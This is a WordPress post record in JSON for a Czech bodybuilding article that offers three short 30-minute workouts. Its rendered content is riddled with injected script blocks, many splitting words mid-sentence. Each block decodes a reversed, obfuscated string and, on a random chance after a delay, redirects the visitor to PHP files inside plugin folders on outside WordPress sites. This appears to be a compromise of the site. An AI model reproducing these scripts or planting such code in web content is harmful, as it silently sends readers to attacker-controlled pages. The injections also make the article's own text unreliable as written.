{"id":75,"date":"2019-03-20T07:46:28","date_gmt":"2019-03-20T07:46:28","guid":{"rendered":"http:\/\/www.svetkulturistiky.cz\/?p=75"},"modified":"2019-03-20T08:02:16","modified_gmt":"2019-03-20T08:02:16","slug":"odcviceno-za-30-minut","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2019\/03\/20\/odcviceno-za-30-minut\/","title":{"rendered":"ODCVI\u010cENO ZA  30 MINUT"},"content":{"rendered":"<p><strong>M\u00c1TE M\u00c1LO \u010cASU?<br \/>\n<\/strong><strong>I D\u00cdKY T\u0158EM TR\u00c9NINK\u016eM T\u00ddDN\u011a, <\/strong><strong>KTER\u00c9 V\u00c1M ZABEROU JEN 30 MINUT, M\u016e\u017dETE BUDOVAT HMOTU.<\/strong><\/p>\n<p>P\u0159ijde doba, kdy si prost\u011b nenajdete \u010das na pravideln\u00e9 n\u00e1v\u0161t\u011bvy posilovny. B\u011bhem <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tohohle obdob\u00ed jednodu\u0161e nebudete m\u00edt mo\u017enost v\u011bnovat cvi\u010den\u00ed <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tolik \u010dasu co d\u0159\u00edv.<\/p>\n<p><strong>Co d\u011blat?<br \/>\n<\/strong>Sta\u010d\u00ed skute\u010dn\u011b m\u00e1lo a va\u0161e svaly z\u016fstanou, kde maj\u00ed, p\u0159i\u010dem\u017e efektivn\u011b potla\u010d\u00edte ty pl\u00ed\u017eiv\u00e9 pocity selh\u00e1n\u00ed. Vyu\u017eijte t\u0159\u00ed n\u00e1sleduj\u00edc\u00edch kr\u00e1tk\u00fdch tr\u00e9nink\u016f k\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu, abyste se udr\u017eeli v\u00a0kondici.<\/p>\n<p><strong>ZAH\u0158\u00cdVAC\u00cd F\u00c1ZE<br \/>\n<\/strong>P\u0158ED KA\u017dD\u00ddM TR\u00c9NINKEM PROVE\u010eTE T\u0158I CYKLY N\u00c1SLEDUJ\u00cdC\u00cdHO KRUHOV\u00c9HO CVI\u010cEN\u00cd S\u00a0PR\u00c1ZDNOU TY\u010c\u00cd.<\/p>\n<p><strong>CVIK \/ OPAKOV\u00c1N\u00cd<\/strong><\/p>\n<p>Mrtv\u00fd tah 15<br \/>\nSilov\u00e9 p\u0159em\u00edst\u011bn\u00ed 15<br \/>\nD\u0159epy s\u00a0\u010dinkou vp\u0159edu 15<br \/>\nTlaky nad hlavou 15<br \/>\nD\u0159epy s\u00a0\u010dinkou za hlavou 15<\/p>\n<ol>\n<li><strong>TR\u00c9NINK<\/strong><\/li>\n<\/ol>\n<p><strong><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-80 alignleft\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/03\/E90A2042.jpg\" alt=\"\" width=\"267\" height=\"400\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/03\/E90A2042.jpg 267w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/03\/E90A2042-200x300.jpg 200w\" sizes=\"auto, (max-width: 267px) 100vw, 267px\" \/>KRUHOV\u00dd TR\u00c9NINK BEZ Z\u00c1T\u011a\u017dE<\/strong><\/p>\n<p>Tohle bude v\u00e1\u0161 prvn\u00ed \u201eofici\u00e1ln\u00ed\u201c tr\u00e9ninkov\u00fd den <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to cyklu, ale m\u016f\u017eete ho klidn\u011b za\u0159adit i jindy, kdykoliv se v\u00e1m <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to bude hodit. Pokud jste na cest\u00e1ch nebo m\u016f\u017eete cvi\u010dit pouze v\u00a0dob\u011b, kdy je posilovna beznad\u011bjn\u011b p\u0159epln\u011bn\u00e1 a t\u011b\u017eko byste hledali volnou \u010dinku, sv\u016fj \u00fa\u010del jist\u011b dokonale spln\u00ed cvi\u010den\u00ed s\u00a0vlastn\u00ed v\u00e1hou t\u011bla.<\/p>\n<p><strong>ZAC\u00cdLEN\u00dd NA<\/strong>: HYPERTROFII, KONDICI, STABILITU TRUPU.<\/p>\n<p><strong>SCH\u00c9MA OPAKOV\u00c1N\u00cd<\/strong>: PROVE\u010eTE P\u011aT MINUTOV\u00ddCH BLOK\u016e OD KA\u017dD\u00c9HO CVIKU. MEZI CVIKY ODPO\u010c\u00cdVEJTE TAK DLOUHO, JAK BUDETE POT\u0158EBOVAT, ALE SNA\u017dTE SE ZVL\u00c1DNOUT P\u011aT CYKL\u016e B\u011aHEM 30 MINUT.<\/p>\n<p><strong>CVIK\u00a0 \/\u00a0 OPAKOV\u00c1N\u00cd<\/strong><\/p>\n<p>D\u0159epy s\u00a0vlastn\u00ed v\u00e1hou t\u011bla\u00a0 <strong>TKZ* za jednu minutu<\/strong><\/p>\n<p>Kliky\u00a0 <strong>TKZ* za jednu minutu<\/strong><\/p>\n<p>Shyby <strong>TKZ* za jednu minutu<\/strong><\/p>\n<p>Vzpory \u00a0\u00a0 <strong>1 minuta<\/strong><\/p>\n<p><strong>*TKZ- <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tolik, kolik zvl\u00e1dnete<\/strong><\/p>\n<ol start=\"2\">\n<li><strong>TR\u00c9NINK<\/strong><\/li>\n<\/ol>\n<p><strong>PROCVI\u010cEN\u00cd P\u0158EDN\u00cd STRANY T\u011aLA<\/strong><\/p>\n<p>Cvi\u010den\u00ed zahajte zah\u0159\u00edvac\u00ed f\u00e1z\u00ed, kdy po dobu p\u011bti minut provedete ka\u017ed\u00fd jednotliv\u00fd cvik s\u00a0v\u00e1hou o n\u011bco vy\u0161\u0161\u00ed, ne\u017e by byla samotn\u00e1 ty\u010d, ale ni\u017e\u0161\u00ed, ne\u017e jakou b\u011b\u017en\u011b pou\u017e\u00edv\u00e1te. C\u00edlem je n\u00e1sledn\u011b prov\u00e9st pracovn\u00ed s\u00e9rie exploz\u00edvn\u011b v\u00a0kruhov\u00e9m tr\u00e9ninku, kter\u00fd zapoj\u00ed svaly p\u0159edn\u00ed \u010d\u00e1sti t\u011bla. Odpo\u010d\u00edvejte jen tak dlouho, abyste mohli p\u0159ej\u00edt od jedn\u00e9 s\u00e9rie ke druh\u00e9.<\/p>\n<p><strong>ZAC\u00cdLEN\u00dd NA<\/strong>: S\u00cdLU, KONDICI, S\u00cdLU TRUPU.<\/p>\n<p><strong>SCH\u00c9MA OPAKOV\u00c1N\u00cd<\/strong>: PROVE\u010eTE TOLIK CYKL\u016e PRVN\u00cdCH T\u0158\u00cd CVIK\u016e, KOLIK ZVL\u00c1DNETE, POSLEDN\u00cdCH P\u011aT MINUT BYSTE M\u011aLI STR\u00c1VIT PROCVI\u010cEN\u00cdM B\u0158I\u0160N\u00cdCH SVAL\u016e.<\/p>\n<p><strong>CVIK \/ OPAKOV\u00c1N\u00cd<\/strong><\/p>\n<p>Silov\u00e9 p\u0159em\u00edst\u011bn\u00ed\u00a0<strong> 5<\/strong><br \/>\nD\u0159epy s\u00a0\u010dinkou vp\u0159edu<strong> 5<\/strong><br \/>\nTlaky na hlavou\u00a0\u00a0 <strong>5<\/strong><br \/>\nP\u0159\u00edtahy kolen k\u00a0lokt\u016fm ve visu\u00a0<strong> 3 x 20<\/strong><\/p>\n<ol start=\"3\">\n<li><strong>TR\u00c9NINK<\/strong><\/li>\n<\/ol>\n<p><strong><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-77 alignleft\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/03\/E90A1994.jpg\" alt=\"\" width=\"267\" height=\"400\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/03\/E90A1994.jpg 267w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/03\/E90A1994-200x300.jpg 200w\" sizes=\"auto, (max-width: 267px) 100vw, 267px\" \/>PROCVI\u010cEN\u00cd ZADN\u00cd STRANY T\u011aLA<\/strong><\/p>\n<p>Druh\u00fd tr\u00e9ninkov\u00fd den jste v\u011bnovali sval\u016fm p\u0159edn\u00ed strany t\u011bla, nyn\u00ed je tedy \u010das zam\u011b\u0159it se na \u0161irok\u00fd sval z\u00e1dov\u00fd a dal\u0161\u00ed svalstvo zadn\u00ed strany trupu. Pomohou v\u00e1m v\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom mrtv\u00e9 tahy a p\u0159\u00edtahy, p\u0159i\u010dem\u017e cvi\u010den\u00ed uzav\u0159ete tr\u00e9ninkem b\u0159icha.<\/p>\n<p><strong>ZAC\u00cdLEN\u00dd NA:<\/strong> MAXIM\u00c1LN\u00cd S\u00cdLU A STABILITU TRUPU.<\/p>\n<p><strong>SCH\u00c9MA OPAKOV\u00c1N\u00cd<\/strong>: V\u00a0P\u0158\u00cdPAD\u011a MRTV\u00ddCH TAH\u016e ODCVI\u010cTE T\u0158I S\u00c9RIE O T\u0158ECH OPAKOV\u00c1N\u00cdCH, V\u00c1HU ZVY\u0160UJTE TAK, ABYSTE V\u017dDY MOHLI PROV\u00c9ST SKUTE\u010cN\u011a JEN T\u0158I OPAKOV\u00c1N\u00cd. PAK POU\u017dIJTE V\u00c1HU ODPOV\u00cdDAJ\u00cdC\u00cd 80 % T\u00c9 P\u016eVODN\u00cd A PROVE\u010eTE T\u0158I S\u00c9RIE O MAXIM\u00c1LN\u00cdM MNO\u017dSTV\u00cdM OPAKOV\u00c1N\u00cd.<\/p>\n<p><strong>CVIK \/ S\u00c9RIE\u00a0 \/ OPAKOV\u00c1N\u00cd<\/strong><\/p>\n<p>Sumo mrtv\u00fd tah\u00a0\u00a0 TKZ*\/3\u00a0\u00a0\u00a0 3\/TKZ<\/p>\n<p>Shyby se z\u00e1t\u011b\u017e\u00ed\u00a0\u00a0\u00a0\u00a0\u00a0 3 (80 %)\u00a0\u00a0\u00a0 TKZ<\/p>\n<p>P\u0159\u00edtahy ve s<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toji\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 3\u00a0\u00a0\u00a0\u00a0 3<\/p>\n<p>Vzpory \u00a0 3\u00a0\u00a0\u00a0 1 minuta<\/p>\n<p>*TKZ \u2013 <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tolik, kolik zvl\u00e1dnete<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><a href=\"https:\/\/www.casopisyknihy.cz\/Svet-kulturistiky-2-19-d262.htm\" target=\"_blank\" rel=\"noopener\">Popisy proveden\u00ed pou\u017eit\u00fdch cvik\u016f najdete v\u00a0SK 2\/19.<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>M\u00c1TE M\u00c1LO \u010cASU? I D\u00cdKY T\u0158EM TR\u00c9NINK\u016eM T\u00ddDN\u011a, KTER\u00c9 V\u00c1M ZABEROU JEN 30 MINUT, M\u016e\u017dETE BUDOVAT HMOTU. P\u0159ijde doba, kdy si prost\u011b nenajdete \u010das na pravideln\u00e9 n\u00e1v\u0161t\u011bvy posilovny. B\u011bhem tohohle obdob\u00ed jednodu\u0161e nebudete m\u00edt mo\u017enost v\u011bnovat cvi\u010den\u00ed tolik \u010dasu co d\u0159\u00edv. Co d\u011blat? Sta\u010d\u00ed skute\u010dn\u011b m\u00e1lo a va\u0161e svaly z\u016fstanou, kde maj\u00ed, p\u0159i\u010dem\u017e efektivn\u011b potla\u010d\u00edte ty pl\u00ed\u017eiv\u00e9 pocity selh\u00e1n\u00ed. Vyu\u017eijte t\u0159\u00ed n\u00e1sleduj\u00edc\u00edch kr\u00e1tk\u00fdch tr\u00e9nink\u016f k\u00a0tomu, abyste se udr\u017eeli v\u00a0kondici. ZAH\u0158\u00cdVAC\u00cd F\u00c1ZE P\u0158ED KA\u017dD\u00ddM TR\u00c9NINKEM PROVE\u010eTE T\u0158I CYKLY N\u00c1SLEDUJ\u00cdC\u00cdHO KRUHOV\u00c9HO CVI\u010cEN\u00cd S\u00a0PR\u00c1ZDNOU TY\u010c\u00cd. CVIK \/ OPAKOV\u00c1N\u00cd Mrtv\u00fd tah 15 Silov\u00e9 p\u0159em\u00edst\u011bn\u00ed 15 D\u0159epy s\u00a0\u010dinkou vp\u0159edu 15 Tlaky nad hlavou 15 D\u0159epy s\u00a0\u010dinkou za hlavou 15 TR\u00c9NINK KRUHOV\u00dd TR\u00c9NINK BEZ Z\u00c1T\u011a\u017dE Tohle bude v\u00e1\u0161 prvn\u00ed \u201eofici\u00e1ln\u00ed\u201c tr\u00e9ninkov\u00fd den tohoto cyklu, ale m\u016f\u017eete ho klidn\u011b za\u0159adit i jindy, kdykoliv se v\u00e1m to bude hodit. Pokud jste na cest\u00e1ch nebo m\u016f\u017eete cvi\u010dit pouze v\u00a0dob\u011b, kdy je posilovna beznad\u011bjn\u011b p\u0159epln\u011bn\u00e1 a t\u011b\u017eko byste hledali volnou \u010dinku, sv\u016fj \u00fa\u010del jist\u011b dokonale spln\u00ed cvi\u010den\u00ed s\u00a0vlastn\u00ed v\u00e1hou t\u011bla. ZAC\u00cdLEN\u00dd NA: HYPERTROFII, KONDICI, STABILITU TRUPU. SCH\u00c9MA OPAKOV\u00c1N\u00cd: PROVE\u010eTE P\u011aT MINUTOV\u00ddCH BLOK\u016e OD KA\u017dD\u00c9HO CVIKU. MEZI CVIKY ODPO\u010c\u00cdVEJTE TAK DLOUHO, JAK BUDETE POT\u0158EBOVAT, ALE SNA\u017dTE SE ZVL\u00c1DNOUT P\u011aT CYKL\u016e B\u011aHEM 30 MINUT. CVIK\u00a0 \/\u00a0 OPAKOV\u00c1N\u00cd D\u0159epy s\u00a0vlastn\u00ed v\u00e1hou t\u011bla\u00a0 TKZ* za jednu minutu Kliky\u00a0 TKZ* za jednu minutu Shyby TKZ* za jednu minutu Vzpory \u00a0\u00a0 1 minuta *TKZ- tolik, kolik zvl\u00e1dnete TR\u00c9NINK PROCVI\u010cEN\u00cd P\u0158EDN\u00cd STRANY T\u011aLA Cvi\u010den\u00ed zahajte zah\u0159\u00edvac\u00ed f\u00e1z\u00ed, kdy po dobu p\u011bti minut provedete ka\u017ed\u00fd jednotliv\u00fd cvik s\u00a0v\u00e1hou o n\u011bco vy\u0161\u0161\u00ed, ne\u017e by byla samotn\u00e1 ty\u010d, ale ni\u017e\u0161\u00ed, ne\u017e jakou b\u011b\u017en\u011b pou\u017e\u00edv\u00e1te. C\u00edlem je n\u00e1sledn\u011b prov\u00e9st pracovn\u00ed s\u00e9rie exploz\u00edvn\u011b v\u00a0kruhov\u00e9m tr\u00e9ninku, kter\u00fd zapoj\u00ed svaly p\u0159edn\u00ed \u010d\u00e1sti t\u011bla. Odpo\u010d\u00edvejte jen tak dlouho, abyste mohli p\u0159ej\u00edt od jedn\u00e9 s\u00e9rie ke druh\u00e9. ZAC\u00cdLEN\u00dd NA: S\u00cdLU, KONDICI, S\u00cdLU TRUPU. SCH\u00c9MA OPAKOV\u00c1N\u00cd: PROVE\u010eTE TOLIK CYKL\u016e PRVN\u00cdCH T\u0158\u00cd CVIK\u016e, KOLIK ZVL\u00c1DNETE, POSLEDN\u00cdCH P\u011aT MINUT BYSTE M\u011aLI STR\u00c1VIT PROCVI\u010cEN\u00cdM B\u0158I\u0160N\u00cdCH SVAL\u016e. CVIK \/ OPAKOV\u00c1N\u00cd Silov\u00e9 p\u0159em\u00edst\u011bn\u00ed\u00a0 5 D\u0159epy s\u00a0\u010dinkou vp\u0159edu 5 Tlaky na hlavou\u00a0\u00a0 5 P\u0159\u00edtahy kolen k\u00a0lokt\u016fm ve visu\u00a0 3 x 20 TR\u00c9NINK PROCVI\u010cEN\u00cd ZADN\u00cd STRANY T\u011aLA Druh\u00fd tr\u00e9ninkov\u00fd den jste v\u011bnovali sval\u016fm p\u0159edn\u00ed strany t\u011bla, nyn\u00ed je tedy \u010das zam\u011b\u0159it se na \u0161irok\u00fd sval z\u00e1dov\u00fd a dal\u0161\u00ed svalstvo zadn\u00ed strany trupu. Pomohou v\u00e1m v\u00a0tom mrtv\u00e9 